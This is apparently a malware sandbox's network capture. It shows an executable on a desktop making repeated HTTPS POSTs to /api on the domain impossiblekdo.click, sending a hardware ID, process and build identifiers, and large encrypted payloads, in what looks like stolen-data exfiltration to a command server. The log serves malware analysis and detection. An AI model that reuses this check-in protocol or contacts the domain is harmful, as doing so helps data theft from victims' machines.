2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 33 34 66 65 0d 0a 4e 54 48 31 52 33 53 55 70 62 61 47 55 62 35 77 68 51 61 55 4b 70 65 2f 33 6b 42 39 4b 74 48 53 56 6c 76 2f 78 58 34 58 2f 4e 6d 52 64 48 48 33 74 50 51 30 78 6d 5a 56 4f 74 51 56 64 31 43 50 77 38 32 38 49 59 78 5a 73 64 49 6e 6e 2f 37 78 62 2f 4e 38 57 52 56 78 41 66 50 67 64 4c 52 69 4d 30 47 34 6c 44 51 56 41 4d 2b 69 6d 62 32 46 76 5a 33 78 51 71 50 71 65 6a 46 2f 45 2b 77 70 74 62 46 31 74 69 52 30 64 58 62 47 31 55 71 55 74 57 65 77 72 6a 50 64 76 4d 48 63 65 58 46 79 68 73 2f 75 78 5a 74 6e 2f 4e 6a 52 64 48 48 30 46 52 53 31 6c 73 4c 6e 4b 75 55 31 5a 37 41 66 6f 33 6d 39 68 62 32 64 38 55 4b 6a 36 6e 6f 78 54 30 4d 73 36 48 57 78 39 66 65 55 42 47 54 47 78 6a 56 71 70 49 55 6d 4d 44 34 7a 54 51 77 68 62 45 6b 42 77 71 64 76 57 Data Ascii: 34feNTH1R3SUpbaGUb5whQaUKpe/3kB9KtHSVlv/xX4X/NmRdHH3tPQ0xmZVOtQVd1CPw828IYxZsdInn/7xb/N8WRVxAfPgdLRiM0G4lDQVAM+imb2FvZ3xQqPqejF/E+wptbF1tiR0dXbG1UqUtWewrjPdvMHceXFyhs/uxZtn/NjRdHH0FRS1lsLnKuU1Z7Afo3m9hb2d8UKj6noxT0Ms6HWx9feUBGTGxjVqpIUmMD4zTQwhbEkBwqdvW
2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 63 4b 63 56 78 46 66 63 55 70 4d 48 69 30 73 58 4c 45 49 44 7a 45 6e 30 69 7a 4e 7a 56 66 6a 69 41 55 73 65 66 50 31 45 76 6b 38 33 4a 68 48 58 78 45 77 56 6b 74 50 49 7a 52 4e 75 56 39 51 62 6b 7a 6f 65 39 7a 4c 56 5a 6a 66 47 43 6c 77 38 75 67 64 38 54 72 43 6c 6c 49 61 56 58 78 4c 54 56 5a 71 5a 6c 36 73 54 6c 31 79 44 50 34 36 31 38 4d 63 7a 70 5a 54 61 44 37 34 2b 31 6d 67 66 2f 79 46 55 41 64 53 59 41 56 2b 58 58 4a 39 54 71 52 59 55 54 4d 74 38 6a 66 59 77 68 4c 51 33 77 78 6f 5a 37 2f 6b 46 62 68 6e 69 70 56 54 45 31 78 33 53 55 4e 54 62 47 74 51 70 6b 4a 5a 59 77 33 30 4d 39 66 50 47 4e 4b 56 47 54 52 33 39 75 34 58 38 43 33 4a 31 52 6c 66 57 47 67 48 46 42 35 52 5a 6c 69 6c 58 6c 70 2b 51 75 35 31 77 6f 63 53 7a 4e 39 4c 5a 6d 7a 74 34 78 4c 34 Data Ascii: cKcVxFfcUpMHi0sXLEIDzEn0izNzVfjiAUsefP1Evk83JhHXxEwVktPIzRNuV9Qbkzoe9zLVZjfGClw8ugd8TrCllIaVXxLTVZqZl6sTl1yDP4618MczpZTaD74+1mgf/yFUAdSYAV+XXJ9TqRYUTMt8jfYwhLQ3wxoZ7/kFbhnipVTE1x3SUNTbGtQpkJZYw30M9fPGNKVGTR39u4X8C3J1RlfWGgHFB5RZlilXlp+Qu51wocSzN9LZmzt4xL4
2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 78 66 45 54 42 42 44 41 59 7a 49 68 75 74 57 52 63 70 55 71 4e 67 6a 70 52 43 6b 4d 30 4d 61 47 65 2f 39 56 6d 67 62 59 54 56 52 56 38 48 4d 41 42 50 54 48 46 71 57 4c 39 4c 45 45 38 38 30 69 7a 4e 7a 51 36 43 75 52 51 33 64 2b 6e 75 43 38 59 42 35 4a 68 57 48 46 45 79 64 6c 70 54 63 32 39 65 72 6e 5a 70 66 77 58 6c 50 4e 58 42 46 59 44 52 55 79 6b 2b 70 39 70 5a 73 48 2f 31 32 78 63 48 48 79 67 48 65 56 31 74 59 6c 79 2f 57 52 70 53 46 65 63 78 77 49 55 7a 78 34 34 61 4d 48 50 74 6f 31 65 34 4f 59 72 4e 42 31 45 66 64 46 59 4d 42 6a 4d 2b 41 50 77 62 41 43 46 51 37 6e 58 43 68 77 4f 41 78 30 46 6f 50 75 32 6a 51 62 68 34 79 59 64 46 47 56 78 6d 52 41 74 67 58 55 78 51 76 30 6c 61 65 67 37 50 42 63 37 45 47 38 36 59 42 54 63 2b 73 61 4d 57 75 47 66 7a 31 Data Ascii: xfETBBDAYzIhutWRcpUqNgjpRCkM0MaGe/9VmgbYTVRV8HMABPTHFqWL9LEE880izNzQ6CuRQ3d+nuC8YB5JhWHFEydlpTc29ernZpfwXlPNXBFYDRUyk+p9pZsH/12xcHHygHeV1tYly/WRpSFecxwIUzx44aMHPto1e4OYrNB1EfdFYMBjM+APwbACFQ7nXChwOAx0FoPu2jQbh4yYdFGVxmRAtgXUxQv0laeg7PBc7EG86YBTc+saMWuGfz1
2025-01-06 06:44:01 UTC	1369	IN	Data Raw: 33 52 46 35 4d 5a 57 39 4e 71 67 39 70 54 7a 66 79 4e 64 58 41 41 2f 57 63 41 69 56 2b 39 4e 30 6e 32 54 48 42 6b 6c 73 4a 59 55 35 79 54 31 42 74 61 30 32 34 43 42 6b 78 44 62 46 6a 34 6f 64 64 67 4b 42 64 5a 6d 61 2f 75 31 6e 4e 50 4d 53 62 55 41 6c 4f 50 58 4a 50 54 32 42 73 55 4f 6b 47 46 33 64 43 71 57 6d 56 68 78 48 52 33 30 74 32 4c 4b 53 32 53 71 39 76 6d 49 6f 5a 42 68 39 6d 42 78 51 4d 4c 53 78 4a 36 52 41 58 4e 67 48 6a 4b 64 33 45 41 38 50 59 4c 52 68 59 2f 4f 51 66 2b 7a 48 64 68 42 55 77 58 48 74 4c 51 46 6c 31 55 6d 57 38 53 31 6c 2f 42 65 63 71 6d 34 6c 56 7a 39 39 4c 48 7a 37 75 36 52 36 30 64 34 61 45 52 42 46 55 5a 6b 41 4d 59 53 30 73 51 2b 6b 51 46 30 51 42 2f 7a 58 63 30 51 53 4e 75 52 41 68 65 50 7a 74 44 75 6c 2f 68 4e 56 52 58 77 Data Ascii: 3RF5MZW9Nqg9pTzfyNdXAA/WcAiV+9N0n2THBklsJYU5yT1Bta024CBkxDbFj4oddgKBdZma/u1nNPMSbUAlOPXJPT2BsUOkGF3dCqWmVhxHR30t2LKS2Sq9vmIoZBh9mBxQMLSxJ6RAXNgHjKd3EA8PYLRhY/OQf+zHdhBUwXHtLQFl1UmW8S1l/Becqm4lVz99LHz7u6R60d4aERBFUZkAMYS0sQ+kQF0QB/zXc0QSNuRAhePztDul/hNVRXw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:02 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X5Q0Q4PM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18110 Host: impossiblekdo.click
2025-01-06 06:44:02 UTC	15331	OUT	Data Raw: 2d 2d 58 35 51 30 51 34 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 36 37 46 41 41 42 33 34 31 39 33 30 34 41 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 58 35 51 30 51 34 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 35 51 30 51 34 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 0d 0a 2d 2d 58 35 51 30 51 34 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --X5Q0Q4PMContent-Disposition: form-data; name="hwid"0567FAAB3419304A1B825E506F021727--X5Q0Q4PMContent-Disposition: form-data; name="pid"2--X5Q0Q4PMContent-Disposition: form-data; name="lid"LPnhqo--ewwjplqmoyou--X5Q0Q4PMContent-D
2025-01-06 06:44:02 UTC	2779	OUT	Data Raw: a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5
2025-01-06 06:44:02 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v49em4li5dqodmfojod6688c79; expires=Fri, 02 May 2025 00:30:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0GWmpxLrKHebHZm6YYlWexHprnfD9QcwgttBZv0iLmXct7vXfhiGBJ%2BDDtdVeceunBPjizROKPCz4E0pUXHgX929KI9ZD15vAa7McDqgxusq9opTM2xGe4A4MDYWKFZILe8cDT1I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcb99f61c448-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1464&rtt_var=565&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19065&delivery_rate=1909744&cwnd=230&unsent_bytes=0&cid=8a10f000f57935a8&ts=667&x=0"
2025-01-06 06:44:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 06:44:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:03 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WPNGUJFMZXI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8749 Host: impossiblekdo.click
2025-01-06 06:44:03 UTC	8749	OUT	Data Raw: 2d 2d 57 50 4e 47 55 4a 46 4d 5a 58 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 36 37 46 41 41 42 33 34 31 39 33 30 34 41 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 57 50 4e 47 55 4a 46 4d 5a 58 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 50 4e 47 55 4a 46 4d 5a 58 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 0d 0a 2d 2d 57 50 4e 47 55 4a 46 4d 5a 58 Data Ascii: --WPNGUJFMZXIContent-Disposition: form-data; name="hwid"0567FAAB3419304A1B825E506F021727--WPNGUJFMZXIContent-Disposition: form-data; name="pid"2--WPNGUJFMZXIContent-Disposition: form-data; name="lid"LPnhqo--ewwjplqmoyou--WPNGUJFMZX
2025-01-06 06:44:04 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lt6q8iqgeqmm8nl8g90gollavp; expires=Fri, 02 May 2025 00:30:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pa5CXJxOp7C6I8Zp4VNXT64U0SYPKZ6F0suPmfuqw6uRAopiSOMBiL3W88J%2BUjVSvNzDSMs7u6gF7V7poo7Pmz8X0MDwJbpEyF8FC7ai0HQad2CfNBT8Wd6ci45IfKPY6IBKARtB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcc16bfc438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1561&rtt_var=604&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9684&delivery_rate=1784841&cwnd=169&unsent_bytes=0&cid=c5158c9e78296a10&ts=829&x=0"
2025-01-06 06:44:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 06:44:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:05 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JGJUY7XJ0IHA7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20414 Host: impossiblekdo.click
2025-01-06 06:44:05 UTC	15331	OUT	Data Raw: 2d 2d 4a 47 4a 55 59 37 58 4a 30 49 48 41 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 36 37 46 41 41 42 33 34 31 39 33 30 34 41 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 4a 47 4a 55 59 37 58 4a 30 49 48 41 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 47 4a 55 59 37 58 4a 30 49 48 41 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 0d 0a 2d 2d 4a 47 4a 55 Data Ascii: --JGJUY7XJ0IHA7Content-Disposition: form-data; name="hwid"0567FAAB3419304A1B825E506F021727--JGJUY7XJ0IHA7Content-Disposition: form-data; name="pid"3--JGJUY7XJ0IHA7Content-Disposition: form-data; name="lid"LPnhqo--ewwjplqmoyou--JGJU
2025-01-06 06:44:05 UTC	5083	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2025-01-06 06:44:05 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=brcfhsq8tc638c8jv425j3qd74; expires=Fri, 02 May 2025 00:30:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uwFh3zgyoDrOamspgZTbWm%2B%2FDZXl%2B5v7QZatn%2FWC6qmUdVFctRWnS6J4j2zA9Lye1COIwL6wQXuaNkhEeoxyn7uCkcerhsHHqqI1%2FEHj814OvoyAuvYTFCc8p8%2FIj8gP1%2FG%2FyveW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bccc7c1c7ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1931&min_rtt=1819&rtt_var=762&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21374&delivery_rate=1605277&cwnd=243&unsent_bytes=0&cid=4ded7f7c1a09cdab&ts=650&x=0"
2025-01-06 06:44:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 06:44:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:06 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K8IUNY541LXZBL9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: impossiblekdo.click
2025-01-06 06:44:06 UTC	1237	OUT	Data Raw: 2d 2d 4b 38 49 55 4e 59 35 34 31 4c 58 5a 42 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 36 37 46 41 41 42 33 34 31 39 33 30 34 41 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 4b 38 49 55 4e 59 35 34 31 4c 58 5a 42 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 38 49 55 4e 59 35 34 31 4c 58 5a 42 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 0d 0a Data Ascii: --K8IUNY541LXZBL9Content-Disposition: form-data; name="hwid"0567FAAB3419304A1B825E506F021727--K8IUNY541LXZBL9Content-Disposition: form-data; name="pid"1--K8IUNY541LXZBL9Content-Disposition: form-data; name="lid"LPnhqo--ewwjplqmoyou
2025-01-06 06:44:07 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:44:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gr0271fsefjetqblejl1ab80k6; expires=Fri, 02 May 2025 00:30:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yXjbfv3AzA2OSvdvd09JzW1OZQxm%2BIYQznKb4TEv%2FynB99DNrUDTotEFxwiVfVG2G%2B9bd7SBUtl2b%2F%2FJaI3S2jjvbQ7PCd7w2JfE4vgxHJzDp70dl1cLtaSdvahpWCvniCAppz%2F8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9bcd62a0a41e1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1694&rtt_var=644&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2154&delivery_rate=1687861&cwnd=243&unsent_bytes=0&cid=23460352c892c97f&ts=469&x=0"
2025-01-06 06:44:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 06:44:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	188.114.97.3	443	6868	C:\Users\user\Desktop\un30brGAKP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:44:08 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=33DYPPCDK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585698 Host: impossiblekdo.click
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: 2d 2d 33 33 44 59 50 50 43 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 36 37 46 41 41 42 33 34 31 39 33 30 34 41 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 33 33 44 59 50 50 43 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 33 44 59 50 50 43 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 65 77 77 6a 70 6c 71 6d 6f 79 6f 75 0d 0a 2d 2d 33 33 44 59 50 50 43 44 4b 0d 0a 43 6f 6e 74 65 Data Ascii: --33DYPPCDKContent-Disposition: form-data; name="hwid"0567FAAB3419304A1B825E506F021727--33DYPPCDKContent-Disposition: form-data; name="pid"1--33DYPPCDKContent-Disposition: form-data; name="lid"LPnhqo--ewwjplqmoyou--33DYPPCDKConte
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: ac 77 57 e7 b0 2d 32 2a aa 92 b7 4d 66 b9 39 4d 74 eb 15 35 a9 c4 41 7b 9f d0 c5 2c 55 6c 44 45 fc 71 26 f0 3e 08 95 5d aa 99 29 bd c6 8f 1b 18 dc ca 2b 24 3e 86 bd d4 09 03 25 4a 95 08 fa f3 f4 46 43 6d cc d0 91 b3 93 da e1 7f 7d dc 27 6a 83 b9 dd d2 4f 70 e6 7f 5e 78 70 6a cd 7c 46 a6 ab ea 41 b6 3a 9a 3d ad 6e ca 7e ff 3e 15 a2 ef 30 15 b2 a1 af 9a 77 b0 a9 7a a2 1a 94 24 ed 09 29 bc 3b d3 d2 c5 79 26 bf 02 37 c8 df 03 6d 41 d5 d1 bd 09 a7 39 3b 66 0b 4d c2 dc 0f a5 ec c5 4d 33 86 5c dc 7c 94 bb 56 79 43 78 1b ce e7 af af d7 1c a4 9e 67 a7 cf fb c4 08 03 a0 17 41 b5 46 a5 d0 2c 8b c4 e8 3f c5 bb 57 4f fa 2d 7f 09 cf 01 3d c2 be b7 75 9f 80 9e 6a c0 0e de bd 9e 7c f0 93 eb 6a 4a 59 60 a7 9b 0a df 7d 36 ea 34 db 6c 6e 73 9d 77 92 22 4b a6 c2 5e 4c fe 59 Data Ascii: wW-2*Mf9Mt5A{,UlDEq&>])+$>%JFCm}'jOp^xpj\|FA:=n~>0wz$);y&7mA9;fMM3\\|VyCxgAF,?WO-=uj\|jJY`}64lnsw"K^LY
2025-01-06 06:44:08 UTC	15331	OUT	Data Raw: c2 8f 61 ec 82 7a 4d 4b 72 6f bc a2 d8 28 b0 27 35 bd 6c 84 82 e7 47 e3 38 40 f1 53 31 d8 9f 37 53 da 7d e3 c9 61 82 4a 40 7a 17 53 6e 36 5b c7 d2 b9 ce da 08 25 ea 65 f1 3c 9a 83 41 b0 9b b2 36 94 f7 42 21 9a 3e b4 05 16 3d 0e 99 5d 6c 90 14 d4 75 3b ff 5e e9 82 df be 48 21 b5 d7 a9 34 c2 77 5a 66 06 9c c0 e7 0b 41 27 2f aa fe be c3 56 12 44 32 09 83 e8 26 bb cb 79 9c 2b 62 d8 cc 56 98 5f ec f5 7a 12 c0 37 69 7d 67 b3 fb ab 80 72 4d 25 56 73 cd ab eb 69 a8 9d cb c6 c0 63 58 99 d3 6d 06 dd 3a 8d 98 df cb e3 34 da 0a 51 f7 61 4e 4a 9e 27 75 30 22 bd 78 63 08 cf 23 be f1 88 ba 42 bc 0f 1d 2a c5 d9 e7 19 c0 f1 7b f3 0f 81 f2 7f 91 81 b1 39 5f 1c b5 f7 45 d7 0f 6f 97 de 94 8e 0a f7 9d ba 06 cc 44 64 96 1b 0b 72 2e e6 ba d8 c3 9c ac 8d b0 0e 8e f6 07 8e 69 0c Data Ascii: 